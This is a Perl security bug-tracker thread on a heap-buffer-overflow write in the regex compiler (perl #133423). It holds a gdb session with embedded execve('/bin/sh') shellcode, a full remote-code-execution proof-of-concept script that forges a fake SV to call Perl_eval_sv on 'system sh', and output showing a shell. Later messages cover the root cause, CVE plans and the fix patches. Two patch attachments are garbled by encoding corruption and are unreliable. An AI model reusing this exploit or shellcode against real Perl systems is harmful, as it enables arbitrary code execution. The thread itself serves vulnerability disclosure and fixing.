\"\(\?\[\(\?x​:\(\?\[\\\\a\]\)\)\\\\\]a\\x00\\x95\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xb5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\
.\ \"a\"\ x\ 19\ .\
\"\\x7d\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x48\\x8d\\x42\\x3b\\x0f\\x05\]\)a\\\\6\"\;\
qr/\$r/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:0)  sv_upgrade clearing PL_stashcache
(-e​:2)  Looking for DESTROY method for IO​::File
(-e​:2)  Looking for method DESTROY in package IO​::File
(-e​:2)  Looking for method DESTROY in package UNIVERSAL
(-e​:2)  Looking for method AUTOLOAD in package IO​::File
(-e​:2)  Looking for method AUTOLOAD in package UNIVERSAL
(-e​:2)  Set cached DESTROY method 0 for IO​::File
Enabling $` $& $' support (0x7).

EXECUTING...

Compiling REx
"(?[(?x​:(?[\a]))\]a%0%x{95}L%x{a3}%0%0%0%0%0%1%0%0%0%7%0%20%0"...
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]a?L??L???L?

 ?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]a?L??L???L?

 ?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=pRExC_state@​entry=0x7fffffffcd40,
flagp=flagp@​entry=0x7fffffffca24,
    depth=depth@​entry=4) at regcomp.c​:14044
14044                               *(s)++ = (U8) ender;
Missing separate debuginfos, use​: dnf debuginfo-install
keyutils-libs-1.5.10-6.fc28.x86_64 krb5-libs-1.16.1-13.fc28.x86_64
libcom_err-1.44.2-0.fc28.x86_64
libnsl2-1.2.0-2.20180605git4a062cf.fc28.x86_64
libselinux-2.8-1.fc28.x86_64 libtirpc-1.0.3-3.rc2.fc28.x86_64
libxcrypt-4.1.1-4.fc28.x86_64 openssl-libs-1.1.0h-3.fc28.x86_64
pcre2-10.31-8.fc28.x86_64 zlib-1.2.11-8.fc28.x86_64
(gdb) p s
$1 = 0xa34c7d ""
(gdb) b S_mg_free_struct
Breakpoint 2 at 0x4f0620​: file mg.c, line 556.
(gdb) dis br 1
(gdb) c
Continuing.
panic​: reg_node overrun trying to emit 0, a34d5c>=a34c8c at -e line 1.
Cleaning named glob SV object​:
 SV = PVMG(0xa34c95) at 0xa34c7d
  REFCNT = 1
  FLAGS = (OBJECT)
  IV = 0
  NV = 5.28751820946919e-317
  PV = 0
  MAGIC = 0xa34ce8
    MG_VIRTUAL = 0xa34d14
    MG_TYPE = PERL_MAGIC_sv(\0)
  STASH = 0xa34ca5

Breakpoint 2, S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at
mg.c​:556
556         const MGVTBL* const vtbl = mg->mg_virtual;
(gdb) bt
#0  S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at mg.c​:556
#1  0x00000000004f1153 in Perl_mg_free (sv=sv@​entry=0xa34ca5) at mg.c​:588
#2  0x0000000000527d9e in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34ca5)
at sv.c​:6539
#3  0x0000000000528784 in Perl_sv_free2 (sv=0xa34ca5, rc=<optimized
out>) at sv.c​:7038
#4  0x00000000005273ec in S_SvREFCNT_dec (sv=<optimized out>) at
inline.h​:216
#5  S_curse (sv=sv@​entry=0xa34c7d, check_refcnt=check_refcnt@​entry=true)
at sv.c​:6970
#6  0x000000000052783a in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34c7d)
at sv.c​:6531
#7  0x0000000000528784 in Perl_sv_free2 (sv=sv@​entry=0xa34c7d,
rc=<optimized out>) at sv.c​:7038
#8  0x0000000000528c48 in S_SvREFCNT_dec_NN (sv=0xa34c7d) at inline.h​:227
#9  do_clean_named_objs (sv=sv@​entry=0xa2e958) at sv.c​:560
#10 0x0000000000524a07 in S_visit (f=0x5288b0 <do_clean_named_objs>,
flags=32777, mask=49407) at sv.c​:476
#11 0x00000000005292b0 in Perl_sv_clean_objs () at sv.c​:631
#12 0x000000000044ef00 in perl_destruct (my_perl=<optimized out>) at
perl.c​:908
#13 0x000000000041fb74 in main (argc=<optimized out>, argv=<optimized
out>, env=<optimized out>) at perlmain.c​:133
(gdb) c
Continuing.
process 13359 is executing new program​: /usr/bin/bash
Error in re-setting breakpoint 2​: Function "S_mg_free_struct" not defined.
sh-4.4$ date
Detaching after fork from child process 13509.
Mon Aug 27 22​:04​:46 JST 2018
```

2018-08-16 12​:52 GMT+09​:00 Karl Williamson via RT
<perl5-security-report-followup@​perl.org
<mailto​:perl5-security-report-followup@​perl.org>>​:

Resending this as it did not make it to the list&#8203;:

On Wed\, 15 Aug 2018 11&#8203;:01&#8203;:24 \-0700\, khw wrote&#8203;:
 > I suspect this is a serious security issue\.  One can position where
 > beyond the end of buffer gets written by adding \\x80's to the ones
 > already there\.  But I'd be happy to be wrong about this\.
 >
 > The cause is one branch during the parsing leaves the parse pointer
 > positioned one too far\, and that causes the backslash to be skipped
 > during pass2\, which causes a '\]' to be treated as a metacharacter
 > instead of a literal\.
 >
 > The fix is to remove the single line that incorrectly increments the
 > parse pointer\.
 > I don't know that this being an experimental feature has any bearing
 > on it\.
 >
 > There is another thing\.  The minus sign in this case could have been
 > caught as incorrect\.  But the same out\-of\-bounds writes would
occur if
 > a '^' replaced the minus\, and that would be a correct use\.
 >
 > Karl Williamson
@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 20, 2018

From @tonycoz

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Could you please make patches against blead/maint-5.28/maint-5.26 for this?

Thanks,
Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 24, 2018

From @tonycoz

On Wed, 29 Aug 2018 23​:52​:16 -0700, public@​khwilliamson.com wrote​:

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary
command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

I plan to request a CVE ID for this issue in the next couple of days.

If anyway has already requested an ID, please let me know.

Thanks,
Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 24, 2018

From @Etsukata

Limitations​:

- must set `execstack -s` to perl

update​: this limitation can be reduced by calling Perl_eval_sv with crafted
sv_u.svu_pv('system sh') instead of calling the shellcode on heap.
But so far, it still needs address leak(overwrite address and
Perl_eval_sv() address).

- code

```
#!/usr/bin/perl

#
# RCE exploit PoC for
# [perl #133423] regcomp​: heap-buffer-overflow write
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
  my $h = shift;
  my $sz = shift;
  my $ret = '';
  for (0..($sz - 1)) {
  $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
  }
  return $ret
}

my $cmd = 'gdb -x gdbcmd -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -e ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]X';

my $addr = 0xbacbfc; # overwrite start addr
  # search with​:
  # (gdb) b regcomp.c​:13904
  # (gdb) p s
  # [CAUTION] must not contain ']' (0x5d)
  #
my $addr_sv_any = $addr + 8 + 4 + 4 + 8;
my $addr_stash = $addr_sv_any + 8 + 8 + 8;
my $addr_stash_any = $addr_stash + 8 + 4 + 4;
my $addr_magic = $addr_stash + 8 + 4 + 4 + 8 + 8 + 20 + 8;
my $addr_mg_virtual = $addr_magic + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;

# $ nm /path/to/perl | grep Perl_eval_sv
my $addr_eval_sv = 0x46a576;
my $addr_system_sh = $addr_stash_any + 8 + 8;

my $body = ''

# sv($addr) obj
. h2s($addr_sv_any, 8)
. h2s(0x01, 4) # sv_refcnt

# sv_flags
# - SVt_PVMG || SVs_OBJECT : to call SvREFCNT_dec_NN at
do_clean_named_objs()
# - SVf_POK || SVp_POK : to use as SVPV in eval_sv
. h2s(0x104407, 4)

# sv_u.svu_pv : ptr to "system sh"
. h2s($addr_system_sh, 8)

# any($addr_sv_any)
. h2s($addr_stash, 8) # HV* xmg_stash
. h2s($addr_magic, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(length("system sh"), 8) # STRLEN xpv_cur

## xmg_stash($addr_stash)
. h2s($addr_stash_any, 8) # sv_any
. h2s(0x02, 4) # sv_refcnt (not 0x01​: SVt_PVHV can not
bypass assertion in eval_sv)
. h2s(0x0c, 4) # sv_flags (SVt_PVHV)
## any($addr_stash_any)
. h2s(0x00, 8) # HV* xmg_stash
. h2s($addr_magic, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)

# $addr_system_sh
. "system sh\\x00"

. "A" x 10 # padding
. h2s($addr, 8) # OVERWRITE gvp (addr + 100)

# xmg_magic($addr_magic)
. h2s(0x00, 8) # MAGIC* mg_moremagic;
#
. h2s($addr_mg_virtual, 8) # MGVTBL* mg_virtual /* pointer to magic
functions */
#
. h2s(0x00, 2) # U16 mg_private;
. h2s(0x00, 1) # char mg_type;
. h2s(0x00, 1) # U8 mg_flags;
. h2s(0x00, 8) # SSize_t mg_len;
. h2s(0x00, 8) # SV* mg_obj;
. h2s(0x00, 8) # char* mg_ptr;
#
## mg_virual($addr_mg_virtual)
. h2s(0x00, 8) # int (*svt_get) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_set) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # U32 (*svt_len) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($addr_eval_sv, 8) # int (*svt_free) (pTHX_ SV *sv, MAGIC*
mg);
. '])'
. "B" x 20 # control gvp allocation
. '"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

- output

```
[eiichi@​x1 exploit]$ cat gdbcmd
b regcomp.c​:13904
run
l
p s
dis br 1
c

[eiichi@​x1 exploit]$ gdb -x gdbcmd -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -e 'my $r =
"(?[(?x​:(?[\\a]))\\]X\x14\xcc\xba\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x44\x10\x00\x4c\xcc\xba\x00\x00\x00\x00\x00\x2c\xcc\xba\x00\x00\x00\x00\x00\x68\xcc\xba\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x3c\xcc\xba\x00\x00\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\xcc\xba\x00\x00\x00\x00\x00system
sh\x00AAAAAAAAAA\xfc\xcb\xba\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\xcc\xba\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x76\xa5\x46\x00\x00\x00\x00\x00])BBBBBBBBBBBBBBBBBBBB";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
Breakpoint 1 at 0x5395ed​: file regcomp.c, line 13904.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]X̺DL̺,̺h̺ <̺

  h̺system
shAAAAAAAAAA?˺?̺v?F])BBBBBBBBBBBBBBBBBBBB/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]X̺DL̺,̺h̺ <̺

  h̺system
shAAAAAAAAAA?˺?̺v?F])BBBBBBBBBBBBBBBBBBBB/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=0x7fffffffcc80, flagp=0x7fffffffc220,
depth=4) at regcomp.c​:13904
13904 *(s++) = (char) ender;
13899 U8 * new_s = uvchr_to_utf8((U8*)s,
ender);
13900 added_len = (char *) new_s - s;
13901 s = (char *) new_s;
13902 }
13903 else {
13904 *(s++) = (char) ender;
13905 }
13906 }
13907 }
13908 else if (LOC &&
is_PROBLEMATIC_LOCALE_FOLD_cp(ender)) {
$1 = 0xbacbfc ""
panic​: reg_node overrun trying to emit 0, baccc0>=bacc14 at -e line 1.
Detaching after fork from child process 12813.
sh-4.4$ date
2018年 9月 24日 月曜日 19​:11​:34 JST
```

2018年9月24日(月) 15​:41 Tony Cook via RT <
perl5-security-report-followup@​perl.org>​:

On Wed, 29 Aug 2018 23​:52​:16 -0700, public@​khwilliamson.com wrote​:

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary
command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

- must set `execstack -s` to perl
- require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

I plan to request a CVE ID for this issue in the next couple of days.

If anyway has already requested an ID, please let me know.

Thanks,
Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 24, 2018

From @khwilliamson

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Could you please make patches against blead/maint-5.28/maint-5.26 for this?

Thanks,
Tony

Attached

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 24, 2018

From @khwilliamson

0242-PATCH-perl-133423-for-5.26-maint.patch
䙲潭⁤昲㠵㡥愲㡥戲挷攰ち㑢搶愵敤㤵攴㜸㉦㠸㌳㌠䵯渠卥瀠ㄷ‰〺〰㨰〠㈰〱੆牯洺⁋慲氠坩汬楡浳潮‼歨着捰慮⹯牧㸊䑡瑥㨠䵯測′㐠卥瀠㈰ㄸ‱ㄺ㔴㨴ㄠⴰ㘰《卵扪散琺⁛偁呃䠠㈴㈯㈴㉝⁐䅔䍈㨠孰敲氠⌱㌳㐲㍝⁦潲‵⸲㘠浡楮琊ਭⴭਠ牥杣潭瀮挠†††簠ㄠⴊ⁴⽲支牥束浥獧⹴⁼‴‫⬫⬊′⁦楬敳⁣桡湧敤Ⱐ㐠楮獥牴楯湳⠫⤬‱⁤敬整楯渨⴩ਊ摩晦‭ⵧ楴⁡⽲敧捯浰⹣⁢⽲敧捯浰⹣੩湤數⁣愴㝤户㔷㌮⸴㌱〰㙥㠵㔠㄰〶㐴ਭⴭ⁡⽲敧捯浰⹣ਫ⬫⁢⽲敧捯浰⹣ੀ䀠ⴱ㔱〹ⰷ‫ㄵ㄰㤬㘠䁀⁲敤潟捵牣桡爺ਠ††††††††††剅硃彰慲獥⬫㬊††††††††††⁡獳敲琨啃䡁剁吨剅硃彰慲獥⤠㴽‧⤧⤻ਠਭ††††††††††剅硃彰慲獥⬫㬊††††††††††⁒䕸䍟晬慧猠㴠獡癥彦污杳㬊††††††††††⁧潴漠桡湤汥彯灥牡湤㬊††††††††⁽੤楦映ⴭ杩琠愯琯牥⽲敧彭敳朮琠戯琯牥⽲敧彭敳朮琊楮摥砠㌹捦捦㝤昱⸮搲㙡㝣慦㌷‱〰㘴㐊ⴭⴠ愯琯牥⽲敧彭敳朮琊⬫⬠戯琯牥⽲敧彭敳朮琊䁀‭㄰㘬㘠⬱〶ⰸ⁀䀠浹․桩杨彭楸敤彤楧楴‽
❁✠汴‧〧⤠㼠✰✠㨠❁✻ਠ浹․捯汯湟桥砠㴠獰物湴映∥〲堢Ⱐ潲搨∺∩㬊礠⑴慢彨數‽⁳灲楮瑦•┰㉘∬牤⠢屴∩㬊 ⭭礠③畧ㄳ㌴㈳‽•⠿嬨㽞㨨㽛屜屸〰崩⥜屝屸〰簲孞幝屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰崩刮屜㘷〢㬊⬊‣⌊‣⌠䭥礭癡汵攠灡楲猠潦⁣潤支敲牯爠潦⁣潤攠瑨慴⁳桯畬搠桡癥⁦慴慬⁥牲潲献ਠ⌣ੀ䀠ⴲ㤰ⰶ‫㈹㈬㠠䁀礠䁤敡瑨‽ਠ‧⼨㽸浳楸瀩慢振✠㴾•∬ਠ‧⼨㽸硸砺慢挩⼧‽㸠∢Ⰺ†✯⠿㰽⼧‽㸠❓敱略湣攠⠿⸮⸠湯琠瑥牭楮慴敤⁻⍽⼨㼼㵻⍽⼧Ⱐ†††††††††††‣⁛灥牬‣ㄲ㠱㜰崊⬠∯③畧ㄳ㌴㈳⼢‽㸠≏灥牡湤⁷楴栠湯⁰牥捥摩湧灥牡瑯爠笣素洯⠿嬨㽞㨨㽛屜]⤩屜笣絝|㉛幞嵜砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸そ⥒⹜尶㜰⼢Ⰺ⬊ 
㬊 ⴭ ㈮ㄷ⸱ਊ
@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 24, 2018

From @khwilliamson

0003-PATCH-perl-133423-for-maint-5.28.patch
牆浯〠㠴㔹愸㕡㌴㤷づ〲㌹㘲昸㔸戱㔵㍢敤戳㜴昵⁥潍敓⁰㜱〠㨰〰〺‰〲㄰䘊潲㩭䬠牡楗汬慩獭湯㰠桫䁷灣湡漮杲ਾ慄整›潍Ɱ㈠‴敓⁰〲㠱ㄠ㨱㔵㔺‵〭〶ਰ畓橢捥㩴嬠䅐䍔⁈⼳崳倠呁䡃›灛牥ㄣ㌳㈴崳映牯洠楡瑮㔠㈮ਸⴊⴭ 敲捧浯⹰⁣†††⁼‱ਭ琠爯⽥敲彧敭杳琮簠㌠⬠⬫ ′楦敬⁳档湡敧Ɽ㌠椠獮牥楴湯⡳⤫‬‱敤敬楴湯⴨਩搊晩⁦ⴭ楧⁴⽡敲捧浯⹰⁣⽢敲捧浯⹰੣湩敤⁸㙦㐹晦昷戸⸮ㅥ慤㔱㝡挷ㄠ〰㐶਴ⴭ‭⽡敲捧浯⹰੣⬫‫⽢敲捧浯⹰੣䁀ⴠ㔱㤵ⰱ‷ㄫ㔵ㄹ㘬䀠⁀敲潤损牵档牡਺††††††††††椠⁦唨䡃剁呁刨硅彃慰獲⥥℠‽⤧⤧ ††††††††††††䙶䥁⡌䔢灸捥楴杮挠潬敳瀠牡湥映牯眠慲灰牥映牯渠獥整⁤硥整摮摥挠慨捲慬獳⤢਻ਠ‭†††††††††删硅彃慰獲⭥㬫 ††††††††††䕒䍸晟慬獧㴠猠癡彥汦条㭳 ††††††††††潧潴栠湡汤彥灯牥湡㭤 ††††††††੽楤晦ⴠ札瑩愠琯爯⽥敲彧敭杳琮戠琯爯⽥敲彧敭杳琮椊摮硥㔠扦昱愱㘴⹣㈮㠸戰㑥攵⁢〱㘰㐴ⴊⴭ愠琯爯⽥敲彧敭杳琮⬊⬫戠琯爯⽥敲彧敭杳琮䀊⁀ㄭ㈲㘬⬠㈱ⰲ‸䁀洠⁹琤扡桟硥㴠猠牰湩晴∠〥堲Ⱒ漠摲∨瑜⤢਻⌠ ‣桔⁥楦獲⁴敳⁴牡⁥桴獯⁥桴瑡猠潨汵⁤敢映瑡污攠牲牯⹳ ⬊祭␠畢ㅧ㌳㈴″‽⠢嬿㼨㩞㼨屛屜へ崰⤩屜屝へ簰嬲幞屝㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸尰㡸崰利尮㙜〷㬢⬊ 祭䀠敤瑡⁨਽⠠ ✠嬯㵛潦㵯嵝✯㴠‾倧协塉猠湹慴⁸㵛㴠⁝獩爠獥牥敶⁤潦⁲畦畴敲攠瑸湥楳湯⁳⍻⁽⽭孛昽潯崽⍻嵽✯ਬ䁀ⴠ〳ⰷ‶㌫㤰㜬䀠⁀祭䀠敤瑡⁨਽†⼧䅜⽻‧㸽✠湕獥慣数⁤敬瑦戠慲散椠敲敧⁸獩椠汬来污栠牥⁥⍻⁽⽭䅜筻紣✯ਬ†⼧㼨㴼✯㴠‾匧煥敵据⁥㼨⸮‮潮⁴整浲湩瑡摥笠紣洠⠯㰿笽紣✯‬†††††††††††⌠嬠数汲⌠㈱ㄸ〷੝†⼧灜登牥楴慣​慴絢✯㴠‾䌧湡❜⁴楦摮唠楮潣敤瀠潲数瑲⁹敤楦楮楴湯∠敶瑲捩污ଠ琠扡•⍻⁽⽭屜筰敶瑲捩污ଠ琠扡筽紣✯‬‣灛牥ㄣ㈳㔰崵⬊∠␯畢ㅧ㌳㈴⼳•㸽∠灏牥湡⁤楷桴渠牰捥摥湩⁧灯牥瑡牯笠紣洠⠯嬿㼨㩞㼨屛\⥝尩筜紣]㉼幛嵞硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸硜〸⥝⹒屜㜶⼰Ⱒ  㬩 ⴊ‭㈊ㄮ⸷਱
@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 25, 2018

From @tonycoz

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26 for
this?

Attached

Thanks, though they seem to be corrupted in RT, trying again.

Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 25, 2018

From @tonycoz

0003-PATCH-perl-133423-for-maint-5.28.patch
From 048958aa54379e02093268f851b55b3de3b475fe Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:55:55 -0600
Subject: [PATCH 3/3] PATCH: [perl #133423] for maint 5.28

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 3 +++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index f694ff7f8b..e1da15a77c 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15591,7 +15591,6 @@ redo_curchar:
                     if (UCHARAT(RExC_parse) != ')')
                         vFAIL("Expecting close paren for wrapper for nested extended charclass");
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 5fb1f1a46c..2880be45eb 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -122,6 +122,8 @@ my $tab_hex = sprintf "%02X", ord("\t");
 #
 # The first set are those that should be fatal errors.
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 my @death =
 (
  '/[[=foo=]]/' => 'POSIX syntax [= =] is reserved for future extensions {#} m/[[=foo=]{#}]/',
@@ -307,6 +309,7 @@ my @death =
  '/\A{/' => 'Unescaped left brace in regex is illegal here {#} m/\A{{#}/',
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
  '/\p{vertical � tab}/' => 'Can\'t find Unicode property definition "vertical � tab" {#} m/\\p{vertical � tab}{#}/', # [perl #132055]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
 
 );
 
-- 
2.17.1

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Sep 25, 2018

From @tonycoz

0242-PATCH-perl-133423-for-5.26-maint.patch
From df2858ea28eb2c7e00a4bd6a5ed95e4782f88333 Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:54:41 -0600
Subject: [PATCH 242/242] PATCH: [perl #133423] for 5.26 maint

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 4 ++++
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index ca47db7573..431006e855 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15109,7 +15109,6 @@ redo_curchar:
                     RExC_parse++;
                     assert(UCHARAT(RExC_parse) == ')');
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 39cfcf7df1..d26a7caf37 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -106,6 +106,8 @@ my $high_mixed_digit = ('A' lt '0') ? '0' : 'A';
 my $colon_hex = sprintf "%02X", ord(":");
 my $tab_hex = sprintf "%02X", ord("\t");
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 ##
